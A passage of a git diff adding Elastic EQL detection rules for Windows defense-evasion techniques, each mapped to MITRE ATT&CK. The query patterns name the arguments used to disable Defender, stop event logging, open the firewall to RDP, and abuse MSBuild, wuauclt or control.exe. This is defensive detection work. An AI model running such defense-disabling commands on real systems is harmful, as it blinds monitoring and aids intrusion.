@@ +[metadata] +creation_date = "2021/07/07" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = "Identifies use of the Set-MpPreference PowerShell command to disable or weaken certain Windows Defender settings." +false_positives = ["Planned Windows Defender configuration changes."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Disabling Windows Defender Security Settings via PowerShell" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2019-ps", +] +risk_score = 47 +rule_id = "c8cccb06-faf2-4cd5-886e-2c9636cfcb87" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or process.pe.original_file_name in ("powershell.exe", "pwsh.dll", "powershell_ise.exe")) and + process.args : "Set-MpPreference" and process.args : ("-Disable*", "Disabled", "NeverSend", "-Exclusion*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +reference = "https://attack.mitre.org/techniques/T1562/" +name = "Impair Defenses" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +reference = "https://attack.mitre.org/techniques/T1562/001/" +name = "Disable or Modify Tools" + + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_disabling_windows_logs.toml b/rules/windows/defense_evasion_disabling_windows_logs.toml new file mode 100644 index 000000000..0b541f732 --- /dev/null +++ b/rules/windows/defense_evasion_disabling_windows_logs.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2021/05/06" +maturity = "production" +updated_date = "2021/09/23" + + +[rule] +author = ["Elastic", "Ivan Ninichuck", "Austin Songer"] +description = """ +Identifies attempts to disable EventLog via the logman Windows utility, PowerShell, or auditpol. This is often done by +attackers in an attempt to evade detection on a system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Disable Windows Event and Security Logs Using Built-in Tools" +references = ["https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/logman"] +risk_score = 21 +rule_id = "4de76544-f0e5-486a-8f84-eae0b6063cdc" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + + ((process.name:"logman.exe" or process.pe.original_file_name == "Logman.exe") and + process.args : "EventLog-*" and process.args : ("stop", "delete")) or + + ((process.name : ("pwsh.exe", "powershell.exe", "powershell_ise.exe") or process.pe.original_file_name in + ("pwsh.exe", "powershell.exe", "powershell_ise.exe")) and + process.args : "Set-Service" and process.args: "EventLog" and process.args : "Disabled") or + + ((process.name:"auditpol.exe" or process.pe.original_file_name == "AUDITPOL.EXE") and process.args : "/success:disable") +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + [[rule.threat.technique.subtechnique]] + id = "T1070.001" + name = "Clear Windows Event Logs" + reference = "https://attack.mitre.org/techniques/T1070/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_dns_over_https_enabled.toml b/rules/windows/defense_evasion_dns_over_https_enabled.toml new file mode 100644 index 000000000..5a8ceecd3 --- /dev/null +++ b/rules/windows/defense_evasion_dns_over_https_enabled.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2021/07/22" +maturity = "production" +updated_date = "2021/10/15" + +[rule] +author = ["Austin Songer"] +description = """Identifies when a user enables DNS-over-HTTPS. This can be used to hide internet activity or +the process of exfiltrating data. With this enabled, an organization will lose visibility into data such as query type, +response, and originating IP, which are used to determine bad actors.""" + +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "DNS-over-HTTPS Enabled via Registry" +references = [ + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", + "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", +] +risk_score = 21 +rule_id = "a22a09c2-2162-4df0-a356-9aacbeb56a04" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + (registry.path : "*\\SOFTWARE\\Policies\\Microsoft\\Edge\\BuiltInDnsClientEnabled" and + registry.data.strings : "1") or + (registry.path : "*\\SOFTWARE\\Google\\Chrome\\DnsOverHttpsMode" and + registry.data.strings : "secure") or + (registry.path : "*\\SOFTWARE\\Policies\\Mozilla\\Firefox\\DNSOverHTTPS" and + registry.data.strings : "1") +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml b/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml new file mode 100644 index 000000000..2da90e989 --- /dev/null +++ b/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/08/21" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = "Identifies suspicious .NET code execution. connections." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious .NET Code Compilation" +risk_score = 47 +rule_id = "201200f1-a99b-43fb-88ed-f65a45c4972c" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : ("csc.exe", "vbc.exe") and + process.parent.name : ("wscript.exe", "mshta.exe", "cscript.exe", "wmic.exe", "svchost.exe", "rundll32.exe", "cmstp.exe", "regsvr32.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1027" +name = "Obfuscated Files or Information" +reference = "https://attack.mitre.org/techniques/T1027/" + + [[rule.threat.technique.subtechnique]] + id = "T1027.004" + name = "Compile After Delivery" + reference = "https://attack.mitre.org/techniques/T1027/004/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_enable_inbound_rdp_with_netsh.toml b/rules/windows/defense_evasion_enable_inbound_rdp_with_netsh.toml new file mode 100644 index 000000000..84c45ac33 --- /dev/null +++ b/rules/windows/defense_evasion_enable_inbound_rdp_with_netsh.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/10/13" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the network shell utility (netsh.exe) to enable inbound Remote Desktop Protocol (RDP) connections in +the Windows Firewall. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote Desktop Enabled in Windows Firewall" +risk_score = 47 +rule_id = "074464f9-f30d-4029-8c03-0ed237fffec7" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "netsh.exe" or process.pe.original_file_name == "netsh.exe") and + process.args : ("localport=3389", "RemoteDesktop", "group=\"remote desktop\"") and + process.args : ("action=allow", "enable=Yes", "enable") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.004" +reference = "https://attack.mitre.org/techniques/T1562/004/" +name = "Disable or Modify System Firewall" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_enable_network_discovery_with_netsh.toml b/rules/windows/defense_evasion_enable_network_discovery_with_netsh.toml new file mode 100644 index 000000000..fae38340b --- /dev/null +++ b/rules/windows/defense_evasion_enable_network_discovery_with_netsh.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/07/07" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the netsh.exe program to enable host discovery via the network. Attackers can use this command-line tool to +weaken the host firewall settings. +""" +false_positives = ["Host Windows Firewall planned system administration changes."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Enable Host Network Discovery via Netsh" +risk_score = 47 +rule_id = "8b4f0816-6a65-4630-86a6-c21c179c0d09" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and +process.name : "netsh.exe" and +process.args : ("firewall", "advfirewall") and process.args : "group=Network Discovery" and process.args : "enable=Yes" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.004" +reference = "https://attack.mitre.org/techniques/T1562/004/" +name = "Disable or Modify System Firewall" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0005/" +id = "TA0005" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml b/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml new file mode 100644 index 000000000..0e034e975 --- /dev/null +++ b/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2021/09/08" +maturity = "production" +updated_date = "2021/09/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies unusual instances of Control Panel with suspicious keywords or paths in the process command line value. +Adversaries may abuse control.exe to proxy execution of malicious code. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Control Panel Process with Unusual Arguments" +references = ["https://www.joesandbox.com/analysis/476188/1/html"] +risk_score = 73 +rule_id = "416697ae-e468-4093-a93d-59661fa619ec" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.executable : ("?:\\Windows\\SysWOW64\\control.exe", "?:\\Windows\\System32\\control.exe") and + process.command_line : + ("*.jpg*", + "*.png*", + "*.gif*", + "*.bmp*", + "*.jpeg*", + "*.TIFF*", + "*.inf*", + "*.dat*", + "*.cpl:*/*", + "*../../..*", + "*/AppData/Local/*", + "*:\\Users\\Public\\*", + "*\\AppData\\Local\\*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1218/" +name = "Signed Binary Proxy Execution" +id = "T1218" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1218/002/" +name = "Control Panel" +id = "T1218.002" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" +id = "TA0005" + diff --git a/rules/windows/defense_evasion_execution_lolbas_wuauclt.toml b/rules/windows/defense_evasion_execution_lolbas_wuauclt.toml new file mode 100644 index 000000000..d0fe068c2 --- /dev/null +++ b/rules/windows/defense_evasion_execution_lolbas_wuauclt.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/10/13" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies abuse of the Windows Update Auto Update Client (wuauclt.exe) to load an arbitrary DLL. This behavior is used +as a defense evasion technique to blend-in malicious activity with legitimate Windows software. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "ImageLoad via Windows Update Auto Update Client" +references = ["https://dtm.uk/wuauclt/"] +risk_score = 47 +rule_id = "edf8ee23-5ea7-4123-ba19-56b41e424ae3" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.pe.original_file_name == "wuauclt.exe" or process.name : "wuauclt.exe") and + /* necessary windows update client args to load a dll */ + process.args : "/RunHandlerComServer" and process.args : "/UpdateDeploymentProvider" and + /* common paths writeable by a standard user where the target DLL can be placed */ + process.args : ("C:\\Users\\*.dll", "C:\\ProgramData\\*.dll", "C:\\Windows\\Temp\\*.dll", "C:\\Windows\\Tasks\\*.dll") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml b/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml new file mode 100755 index 000000000..a163d2275 --- /dev/null +++ b/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, was started by Excel or Word. This is unusual behavior for the Build +Engine and could have been caused by an Excel or Word document executing a malicious script payload. +""" +false_positives = [ + """ + The Build Engine is commonly used by Windows developers but use by non-engineers is unusual. It is quite unusual for + this program to be started by an Office application like Word or Excel. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Started by an Office Application" +references = ["https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html"] +risk_score = 73 +rule_id = "c5dc3223-13a2-44a2-946c-e9dc0aa0449c" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "MSBuild.exe" and + process.parent.name : ("eqnedt32.exe", + "excel.exe", + "fltldr.exe", + "msaccess.exe", + "mspub.exe", + "outlook.exe", + "powerpnt.exe", + "winword.exe" ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +reference = "https://attack.mitre.org/techniques/T1127/" +name = "Trusted Developer Utilities Proxy Execution" + + [[rule.threat.technique.subtechnique]] + id = "T1127.001" + name = "MSBuild" + reference = "https://attack.mitre.org/techniques/T1127/001/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" diff --git a/rules/windows/defense_evasion_execution_msbuild_started_by_script.toml b/rules/windows/defense_evasion_execution_msbuild_started_by_script.toml new file mode 100755 index 000000000..b9c6f60d8 --- /dev/null +++ b/rules/windows/defense_evasion_execution_msbuild_started_by_script.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, was started by a script or the Windows command interpreter. This +behavior is unusual and is sometimes used by malicious payloads. +""" +false_positives = ["The Build Engine is commonly used by Windows developers but use by non-engineers is unusual."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Started by a Script Process" +risk_score = 21 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae2" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.name : "MSBuild.exe" or process.pe.original_file_name == "MSBuild.exe") and + process.parent.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "cscript.exe", "wscript.exe", "mshta.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +reference = "https://attack.mitre.org/techniques/T1127/" +name = "Trusted Developer Utilities Proxy Execution" + + [[rule.threat.technique.subtechnique]] + id = "T1127.001" + name = "MSBuild" + reference = "https://attack.mitre.org/techniques/T1127/001/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/defense_evasion_execution_msbuild_started_by_system_process.toml b/rules/windows/defense_evasion_execution_msbuild_started_by_system_process.toml new file mode 100755 index 000000000..5148e8e42 --- /dev/null +++ b/rules/windows/defense_evasion_execution_msbuild_started_by_system_process.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, was started by Explorer or the WMI (Windows Management +Instrumentation) subsystem. This behavior is unusual and is sometimes used by malicious payloads. +""" +false_positives = ["The Build Engine is commonly used by Windows developers but use by non-engineers is unusual."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Started by a System Process" +risk_score = 47 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae3" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "MSBuild.exe" and + process.parent.name : ("explorer.exe", "wmiprvse.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +reference = "https://attack.mitre.org/techniques/T1127/" +name = "Trusted Developer Utilities Proxy Execution" + + [[rule.threat.technique.subtechnique]] + id = "T1127.001" + name = "MSBuild" + reference = "https://attack.mitre.org/techniques/T1127/001/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/defense_evasion_execution_msbuild_started_renamed.toml b/rules/windows/defense_evasion_execution_msbuild_started_renamed.toml new file mode 100755 index 000000000..eb754658c --- /dev/null +++ b/rules/windows/defense_evasion_execution_msbuild_started_renamed.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, was started after being renamed. This is uncommon behavior and may +indicate an attempt to run unnoticed or undetected. +""" +false_positives = ["The Build Engine is commonly used by Windows developers but use by non-engineers is unusual."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Using an Alternate Name" +risk_score = 21 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae4" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.pe.original_file_name == "MSBuild.exe" and + not process.name : "MSBuild.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +reference = "https://attack.mitre.org/techniques/T1036/" +name = "Masquerading" + + [[rule.threat.technique.subtechnique]] + id = "T1036.003" + name = "Rename System Utilities" + reference = "https://attack.mitre.org/techniques/T1036/003/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml b/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml new file mode 100755 index 000000000..1f8245ab8 --- /dev/null +++ b/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, started a PowerShell script or the Visual C# Command Line Compiler. +This technique is sometimes used to deploy a malicious payload using the Build Engine. +""" +false_positives = [ + """ + The Build Engine is commonly used by Windows developers but use by non-engineers is unusual. If a build system + triggers this rule it can be exempted by process, user or host name. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Started an Unusual Process" +references = ["https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html"] +risk_score = 21 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae6" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "MSBuild.exe" and + process.name : ("csc.exe", "iexplore.exe", "powershell.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1027" +reference = "https://attack.mitre.org/techniques/T1027/" +name = "Obfuscated Files or Information" +[[rule.threat.technique.subtechnique]] +id = "T1027.004" +reference = "https://attack.mitre.org/techniques/T1027/004/" +name = "Compile After Delivery" + + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_execution_suspicious_explorer_winword.toml b/rules/windows/defense_evasion_execution_suspicious_explorer_winword.toml new file mode 100644 index 000000000..dcfde9598 --- /dev/null +++ b/rules/windows/defense_evasion_execution_suspicious_explorer_winword.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies an instance of a Windows trusted program that is known to be vulnerable to DLL Search Order Hijacking +starting after being renamed or from a non-standard path. This is uncommon behavior and may indicate an attempt to evade +defenses via side loading a malicious DLL within the memory space of one of those processes. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential DLL SideLoading via Trusted Microsoft Programs" +risk_score = 73 +rule_id = "1160dcdb-0a0a-4a79-91d8-9b84616edebd" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.pe.original_file_name in ("WinWord.exe", "EXPLORER.EXE", "w3wp.exe", "DISM.EXE") and + not (process.name : ("winword.exe", "explorer.exe", "w3wp.exe", "Dism.exe") or + process.executable : ("?:\\Windows\\explorer.exe", + "?:\\Program Files\\Microsoft Office\\root\\Office*\\WINWORD.EXE", + "?:\\Program Files?(x86)\\Microsoft Office\\root\\Office*\\WINWORD.EXE", + "?:\\Windows\\System32\\Dism.exe", + "?:\\Windows\\SysWOW64\\Dism.exe", + "?:\\Windows\\System32\\inetsrv\\w3wp.exe") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +reference = "https://attack.mitre.org/techniques/T1036/" +name = "Masquerading" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_execution_windefend_unusual_path.toml b/rules/windows/defense_evasion_execution_windefend_unusual_path.toml new file mode 100644 index 000000000..9e716b1d8 --- /dev/null +++ b/rules/windows/defense_evasion_execution_windefend_unusual_path.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/07/07" +maturity = "production" +updated_date = "2021/09/22" + +[rule] +author = ["Elastic", "Dennis Perto"] +description = """ +Identifies a Windows trusted program that is known to be vulnerable to DLL Search Order Hijacking +starting after being renamed or from a non-standard path. This is uncommon behavior and may indicate an attempt to evade +defenses via side-loading a malicious DLL within the memory space of one of those processes. +""" +false_positives = ["Microsoft Antimalware Service Executable installed on non default installation path."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential DLL Side-Loading via Microsoft Antimalware Service Executable" +references = [ + "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/", +] +risk_score = 73 +rule_id = "053a0387-f3b5-4ba5-8245-8002cca2bd08" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.pe.original_file_name == "MsMpEng.exe" and not process.name : "MsMpEng.exe") or + (process.name : "MsMpEng.exe" and not + process.executable : ("?:\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "?:\\Program Files\\Windows Defender\\*.exe", + "?:\\Program Files (x86)\\Windows Defender\\*.exe", + "?:\\Program Files\\Microsoft Security Client\\*.exe", + "?:\\Program Files (x86)\\Microsoft Security Client\\*.exe")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.002" +name = "DLL Side-Loading" +reference = "https://attack.mitre.org/techniques/T1574/002/" + + +[rule.threat.tactic] +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +id = "TA0005" diff --git a/rules/windows/defense_evasion_file_creation_mult_extension.toml b/rules/windows/defense_evasion_file_creation_mult_extension.toml new file mode 100644 index 000000000..b0759c49a --- /dev/null +++ b/rules/windows/defense_evasion_file_creation_mult_extension.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/09/23" +min_stack_comments = "EQL regex syntax introduced in 7.12" +min_stack_version = "7.12.0" + +[rule] +author = ["Elastic"] +description = """ +Masquerading can allow an adversary to evade defenses and better blend in with the environment. One way it occurs is +when the name or location of a file is manipulated as a means of tricking a user into executing what they think is a +benign file type but is actually executable code. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Executable File Creation with Multiple Extensions" +risk_score = 47 +rule_id = "8b2b3a62-a598-4293-bc14-3d5fa22bb98f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and file.extension : "exe" and + file.name regex~ """.*\.(vbs|vbe|bat|js|cmd|wsh|ps1|pdf|docx?|xlsx?|pptx?|txt|rtf|gif|jpg|png|bmp|hta|txt|img|iso)\.exe""" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" +[[rule.threat.technique.subtechnique]] +id = "T1036.004" +name = "Masquerade Task or Service" +reference = "https://attack.mitre.org/techniques/T1036/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + [[rule.threat.technique.subtechnique]] + id = "T1204.002" + name = "Malicious File" + reference = "https://attack.mitre.org/techniques/T1204/002/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/defense_evasion_hide_encoded_executable_registry.toml b/rules/windows/defense_evasion_hide_encoded_executable_registry.toml new file mode 100644 index 000000000..fd85c2119 --- /dev/null +++ b/rules/windows/defense_evasion_hide_encoded_executable_registry.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/11/25" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies registry write modifications to hide an encoded portable executable. This could be indicative of adversary +defense evasion by avoiding the storing of malicious content directly on disk. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Encoded Executable Stored in the Registry" +risk_score = 47 +rule_id = 